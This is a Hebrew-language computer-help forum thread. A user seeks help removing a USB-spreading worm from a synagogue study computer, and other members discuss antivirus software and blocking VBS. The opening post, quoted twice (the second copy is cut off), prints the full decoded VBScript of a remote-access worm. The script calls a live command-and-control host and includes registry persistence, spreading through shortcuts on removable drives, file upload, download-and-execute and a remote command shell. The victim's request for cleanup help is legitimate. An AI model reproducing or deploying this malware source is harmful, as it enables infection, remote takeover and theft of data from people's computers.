דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
46 פוסטים 16 כותבים 957 צפיות 14 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • cfopuserC cfopuser

    @המלאך ai...
    לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

    מתכנת חובבמ מנותק
    מתכנת חובבמ מנותק
    מתכנת חובב
    מדריכים
    כתב נערך לאחרונה על ידי
    #41

    @cfopuser כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

    לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

    אין עניין לציין מה שאי אפשר \ לא כדאי לחסום
    כלומר אם הוא יכול להתקין ולעדכן באופן שוטף אנטי וירוס - מעולה ואם לא - לא חושב שכדאי לו לחסום כל מה שזז כי אז הוא עלול להיתקל בהרבה בעיות אחרות
    לדעתי חסימה של VBS והרצה של תיקון הכללי יספיקו לרוב ככל הוירוסים שמעבירים את עצמם דרך התקנים ניידים

    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

    תגובה 1 תגובה אחרונה
    0
    • A AMDesign

      @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      כיום כמעט כל האנטי וירוסים הרציניים

      ואלו הם?

      מתכנת חובבמ מנותק
      מתכנת חובבמ מנותק
      מתכנת חובב
      מדריכים
      כתב נערך לאחרונה על ידי מתכנת חובב
      #42

      @AMDesign הרציניים = רשימה ארוכה של הרבה מאוד אנטי וירוסים מוכרים שאינם אלו שידועים לשמצה

      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

      תגובה 1 תגובה אחרונה
      2
      • ר מנותק
        ר מנותק
        רנדומלי
        כתב נערך לאחרונה על ידי
        #43

        תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

        ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

        A תגובה 1 תגובה אחרונה
        1
        • ר רנדומלי

          תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

          ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

          A מנותק
          A מנותק
          ARISH
          כתב נערך לאחרונה על ידי
          #44

          @רנדומלי אשמח לדעת באיזה מהתיקונים שהובאו השתמשת על מנת לדעת מה היעיל מבינהם או למישהו אחר שיעשה סדר בכל הדברים שהועלו כאן על מנת שנוכל לצאת עם דבר ברור מה באמת יעיל.

          תגובה 1 תגובה אחרונה
          0
          • ר רנדומלי

            בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

            cmd /c hrxxryydxo.vbs && start explorer [file name]
            

            הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

            תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

            לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

            z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
            

            בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
            לאחר פיענוח הקידוד התקבל הקוד הבא:
            אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

            e
            '<[ recoder : houdini (c) skype : houdini-fx ]>
            
            '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
            
            host = "khattab.no-ip.biz"
            port = 5550
            installdir = "%temp%"
            lnkfile = true
            lnkfolder = true
            
            '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
            
            dim shellobj 
            set shellobj = wscript.createobject("wscript.shell")
            dim filesystemobj
            set filesystemobj = createobject("scripting.filesystemobject")
            dim httpobj
            set httpobj = createobject("msxml2.xmlhttp")
            
            '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
            
            installname = wscript.scriptname
            startup = shellobj.specialfolders ("startup") & "\"
            installdir = shellobj.expandenvironmentstrings(installdir) & "\"
            if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
            spliter = "<" & "|" & ">"
            sleep = 5000 
            dim response
            dim cmd
            dim param
            info = ""
            usbspreading = ""
            startdate = ""
            dim oneonce
            
            '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
            on error resume next
            
            instance
            while true
            
            install
            
            response = ""
            response = post ("is-ready","")
            cmd = split (response,spliter)
            select case cmd (0)
            case "excecute"
                  param = cmd (1)
                  execute param
            case "update"
                  param = cmd (1)
                  oneonce.close
                  set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                  oneonce.write param
                  oneonce.close
                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                  wscript.quit 
            case "uninstall"
                  uninstall
            case "send"
                  download cmd (1),cmd (2)
            case "site-send"
                  sitedownloader cmd (1),cmd (2)
            case "recv"
                  param = cmd (1)
                  upload (param)
            case  "enum-driver"
                  post "is-enum-driver",enumdriver  
            case  "enum-faf"
                  param = cmd (1)
                  post "is-enum-faf",enumfaf (param)
            case  "enum-process"
                  post "is-enum-process",enumprocess   
            case  "cmd-shell"
                  param = cmd (1)
                  post "is-cmd-shell",cmdshell (param)  
            case  "delete"
                  param = cmd (1)
                  deletefaf (param) 
            case  "exit-process"
                  param = cmd (1)
                  exitprocess (param) 
            case  "sleep"
                  param = cmd (1)
                  sleep = eval (param)        
            end select
            
            wscript.sleep sleep
            
            wend
            
            sub install
            on error resume next
            dim lnkobj
            dim filename
            dim foldername
            dim fileicon
            dim foldericon
            
            upstart
            for each drive in filesystemobj.drives
            
            if  drive.isready = true then
            if  drive.freespace  > 0 then
            if  drive.drivetype  = 1 then
                filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                    filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                end if
                for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                    if not lnkfile then exit for
                    if  instr (file.name,".") then
                        if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                            file.attributes = 2+4
                            if  ucase (file.name) <> ucase (installname) then
                                filename = split(file.name,".")
                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                lnkobj.windowstyle = 7
                                lnkobj.targetpath = "cmd.exe"
                                lnkobj.workingdirectory = ""
                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                if  instr (fileicon,",") = 0 then
                                    lnkobj.iconlocation = file.path
                                else 
                                    lnkobj.iconlocation = fileicon
                                end if
                                lnkobj.save()
                            end if
                        end if
                    end if
                next
                for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                    if not lnkfolder then exit for
                    folder.attributes = 2+4
                    foldername = folder.name
                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                    lnkobj.windowstyle = 7
                    lnkobj.targetpath = "cmd.exe"
                    lnkobj.workingdirectory = ""
                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                    foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                    if  instr (foldericon,",") = 0 then
                        lnkobj.iconlocation = folder.path
                    else 
                        lnkobj.iconlocation = foldericon
                    end if
                    lnkobj.save()
                next
            end If
            end If
            end if
            next
            err.clear
            end sub
            
            sub uninstall
            on error resume next
            dim filename
            dim foldername
            
            shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
            shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
            filesystemobj.deletefile startup & installname ,true
            filesystemobj.deletefile wscript.scriptfullname ,true
            
            for  each drive in filesystemobj.drives
            if  drive.isready = true then
            if  drive.freespace  > 0 then
            if  drive.drivetype  = 1 then
                for  each file in filesystemobj.getfolder ( drive.path & "\").files
                     on error resume next
                     if  instr (file.name,".") then
                         if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                             file.attributes = 0
                             if  ucase (file.name) <> ucase (installname) then
                                 filename = split(file.name,".")
                                 filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                             else
                                 filesystemobj.deletefile (drive.path & "\" & file.name)
                             end If
                         else
                             filesystemobj.deletefile (file.path) 
                         end if
                     end if
                 next
                 for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                     folder.attributes = 0
                 next
            end if
            end if
            end if
            next
            wscript.quit
            end sub
            
            function post (cmd ,param)
            
            post = param
            httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
            httpobj.setrequestheader "user-agent:",information
            httpobj.send param
            post = httpobj.responsetext
            end function
            
            function information
            on error resume next
            if  inf = "" then
                inf = hwid & spliter 
                inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
            
                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set os = root.execquery ("select * from win32_operatingsystem")
                for each osinfo in os
                   inf = inf & osinfo.caption & spliter  
                   exit for
                next
                inf = inf & "plus" & spliter
                inf = inf & security & spliter
                inf = inf & usbspreading
                information = inf  
            else
                information = inf
            end if
            end function
            
            sub upstart ()
            on error resume Next
            
            shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
            filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
            filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
            
            end sub
            
            function hwid
            on error resume next
            
            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set disks = root.execquery ("select * from win32_logicaldisk")
            for each disk in disks
                if  disk.volumeserialnumber <> "" then
                    hwid = disk.volumeserialnumber
                    exit for
                end if
            next
            end function
            
            function security 
            on error resume next
            
            security = ""
            
            set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
            for each objitem in colitems
                versionstr = split (objitem.version,".")
            next
            versionstr = split (colitems.version,".")
            osversion = versionstr (0) & "."
            for  x = 1 to ubound (versionstr)
                 osversion = osversion &  versionstr (i)
            next
            osversion = eval (osversion)
            if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
            
            set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
            Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
            
            for each objantivirus in colantivirus
                security  = security  & objantivirus.displayname & " ."
            next
            if security  = "" then security  = "nan-av"
            end function
            
            function instance
            on error resume next
            
            usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
            if usbspreading = "" then
               if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                  usbspreading = "true - " & date
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
               else
                  usbspreading = "false - " & date
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
            
               end if
            end If
            
            
            upstart
            set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
            set installfullnameshort =  filesystemobj.getfile (installdir & installname)
            if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                wscript.quit 
            end If
            err.clear
            set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
            if  err.number > 0 then wscript.quit
            end function
            
            sub sitedownloader (fileurl,filename)
            
            strlink = fileurl
            strsaveto = installdir & filename
            set objhttpdownload = createobject("msxml2.xmlhttp" )
            objhttpdownload.open "get", strlink, false
            objhttpdownload.send
            
            set objfsodownload = createobject ("scripting.filesystemobject")
            if  objfsodownload.fileexists (strsaveto) then
                objfsodownload.deletefile (strsaveto)
            end if
             
            if objhttpdownload.status = 200 then
               dim  objstreamdownload
               set  objstreamdownload = createobject("adodb.stream")
               with objstreamdownload
                    .type = 1 
                    .open
                    .write objhttpdownload.responsebody
                    .savetofile strsaveto
                    .close
               end with
               set objstreamdownload = nothing
            end if
            if objfsodownload.fileexists(strsaveto) then
               shellobj.run objfsodownload.getfile (strsaveto).shortpath
            end if 
            end sub
            
            sub download (fileurl,filedir)
            
            if filedir = "" then 
               filedir = installdir
            end if
            
            strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
            set objhttpdownload = createobject("msxml2.xmlhttp")
            objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
            objhttpdownload.send ""
                 
            set objfsodownload = createobject ("scripting.filesystemobject")
            if  objfsodownload.fileexists (strsaveto) then
                objfsodownload.deletefile (strsaveto)
            end if
            if  objhttpdownload.status = 200 then
                dim  objstreamdownload
                set  objstreamdownload = createobject("adodb.stream")
                with objstreamdownload 
                     .type = 1 
                     .open
                     .write objhttpdownload.responsebody
                     .savetofile strsaveto
                     .close
                end with
                set objstreamdownload  = nothing
            end if
            if objfsodownload.fileexists(strsaveto) then
               shellobj.run objfsodownload.getfile (strsaveto).shortpath
            end if 
            end sub
            
            function upload (fileurl)
            
            dim  httpobj,objstreamuploade,buffer
            set  objstreamuploade = createobject("adodb.stream")
            with objstreamuploade 
                 .type = 1 
                 .open
                 .loadfromfile fileurl
                 buffer = .read
                 .close
            end with
            set objstreamdownload = nothing
            set httpobj = createobject("msxml2.xmlhttp")
            httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
            httpobj.send buffer
            end function
            
            function enumdriver ()
            
            for  each drive in filesystemobj.drives
            if   drive.isready = true then
                 enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
            end if
            next
            end Function
            
            function enumfaf (enumdir)
            
            enumfaf = enumdir & spliter
            for  each folder in filesystemobj.getfolder (enumdir).subfolders
                 enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
            next
            
            for  each file in filesystemobj.getfolder (enumdir).files
                 enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
            
            next
            end function
            
            function enumprocess ()
            
            on error resume next
            
            set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
            set colitems = objwmiservice.execquery("select * from win32_process",,48)
            
            dim objitem
            for each objitem in colitems
                enumprocess = enumprocess & objitem.name & "|"
                enumprocess = enumprocess & objitem.processid & "|"
                enumprocess = enumprocess & objitem.executablepath & spliter
            next
            end function
            
            sub exitprocess (pid)
            on error resume next
            
            shellobj.run "taskkill /F /T /PID " & pid,7,true
            end sub
            
            sub deletefaf (url)
            on error resume next
            
            filesystemobj.deletefile url
            filesystemobj.deletefolder url
            
            end sub
            
            function cmdshell (cmd)
            
            dim httpobj,oexec,readallfromany
            
            set oexec = shellobj.exec ("%comspec% /c " & cmd)
            if not oexec.stdout.atendofstream then
               readallfromany = oexec.stdout.readall
            elseif not oexec.stderr.atendofstream then
               readallfromany = oexec.stderr.readall
            else 
               readallfromany = ""
            end if
            
            cmdshell = readallfromany
            end function
            
            א מנותק
            א מנותק
            אחרית לעמך
            כתב נערך לאחרונה על ידי
            #45

            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            בחדר מחשבים שעל ידי ביתי

            אולי תכתוב איזה חדר זה כדי להציל את הציבור (אם לא מיגרת את הוירוס שם)

            תגובה 1 תגובה אחרונה
            0
            • ר רנדומלי

              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

              cmd /c hrxxryydxo.vbs && start explorer [file name]
              

              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
              

              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
              לאחר פיענוח הקידוד התקבל הקוד הבא:
              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

              e
              '<[ recoder : houdini (c) skype : houdini-fx ]>
              
              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
              
              host = "khattab.no-ip.biz"
              port = 5550
              installdir = "%temp%"
              lnkfile = true
              lnkfolder = true
              
              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
              
              dim shellobj 
              set shellobj = wscript.createobject("wscript.shell")
              dim filesystemobj
              set filesystemobj = createobject("scripting.filesystemobject")
              dim httpobj
              set httpobj = createobject("msxml2.xmlhttp")
              
              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
              
              installname = wscript.scriptname
              startup = shellobj.specialfolders ("startup") & "\"
              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
              spliter = "<" & "|" & ">"
              sleep = 5000 
              dim response
              dim cmd
              dim param
              info = ""
              usbspreading = ""
              startdate = ""
              dim oneonce
              
              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
              on error resume next
              
              instance
              while true
              
              install
              
              response = ""
              response = post ("is-ready","")
              cmd = split (response,spliter)
              select case cmd (0)
              case "excecute"
                    param = cmd (1)
                    execute param
              case "update"
                    param = cmd (1)
                    oneonce.close
                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                    oneonce.write param
                    oneonce.close
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                    wscript.quit 
              case "uninstall"
                    uninstall
              case "send"
                    download cmd (1),cmd (2)
              case "site-send"
                    sitedownloader cmd (1),cmd (2)
              case "recv"
                    param = cmd (1)
                    upload (param)
              case  "enum-driver"
                    post "is-enum-driver",enumdriver  
              case  "enum-faf"
                    param = cmd (1)
                    post "is-enum-faf",enumfaf (param)
              case  "enum-process"
                    post "is-enum-process",enumprocess   
              case  "cmd-shell"
                    param = cmd (1)
                    post "is-cmd-shell",cmdshell (param)  
              case  "delete"
                    param = cmd (1)
                    deletefaf (param) 
              case  "exit-process"
                    param = cmd (1)
                    exitprocess (param) 
              case  "sleep"
                    param = cmd (1)
                    sleep = eval (param)        
              end select
              
              wscript.sleep sleep
              
              wend
              
              sub install
              on error resume next
              dim lnkobj
              dim filename
              dim foldername
              dim fileicon
              dim foldericon
              
              upstart
              for each drive in filesystemobj.drives
              
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                  end if
                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                      if not lnkfile then exit for
                      if  instr (file.name,".") then
                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                              file.attributes = 2+4
                              if  ucase (file.name) <> ucase (installname) then
                                  filename = split(file.name,".")
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                  if  instr (fileicon,",") = 0 then
                                      lnkobj.iconlocation = file.path
                                  else 
                                      lnkobj.iconlocation = fileicon
                                  end if
                                  lnkobj.save()
                              end if
                          end if
                      end if
                  next
                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                      if not lnkfolder then exit for
                      folder.attributes = 2+4
                      foldername = folder.name
                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                      lnkobj.windowstyle = 7
                      lnkobj.targetpath = "cmd.exe"
                      lnkobj.workingdirectory = ""
                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                      if  instr (foldericon,",") = 0 then
                          lnkobj.iconlocation = folder.path
                      else 
                          lnkobj.iconlocation = foldericon
                      end if
                      lnkobj.save()
                  next
              end If
              end If
              end if
              next
              err.clear
              end sub
              
              sub uninstall
              on error resume next
              dim filename
              dim foldername
              
              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              filesystemobj.deletefile startup & installname ,true
              filesystemobj.deletefile wscript.scriptfullname ,true
              
              for  each drive in filesystemobj.drives
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                       on error resume next
                       if  instr (file.name,".") then
                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                               file.attributes = 0
                               if  ucase (file.name) <> ucase (installname) then
                                   filename = split(file.name,".")
                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                               else
                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                               end If
                           else
                               filesystemobj.deletefile (file.path) 
                           end if
                       end if
                   next
                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                       folder.attributes = 0
                   next
              end if
              end if
              end if
              next
              wscript.quit
              end sub
              
              function post (cmd ,param)
              
              post = param
              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
              httpobj.setrequestheader "user-agent:",information
              httpobj.send param
              post = httpobj.responsetext
              end function
              
              function information
              on error resume next
              if  inf = "" then
                  inf = hwid & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
              
                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set os = root.execquery ("select * from win32_operatingsystem")
                  for each osinfo in os
                     inf = inf & osinfo.caption & spliter  
                     exit for
                  next
                  inf = inf & "plus" & spliter
                  inf = inf & security & spliter
                  inf = inf & usbspreading
                  information = inf  
              else
                  information = inf
              end if
              end function
              
              sub upstart ()
              on error resume Next
              
              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
              
              end sub
              
              function hwid
              on error resume next
              
              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
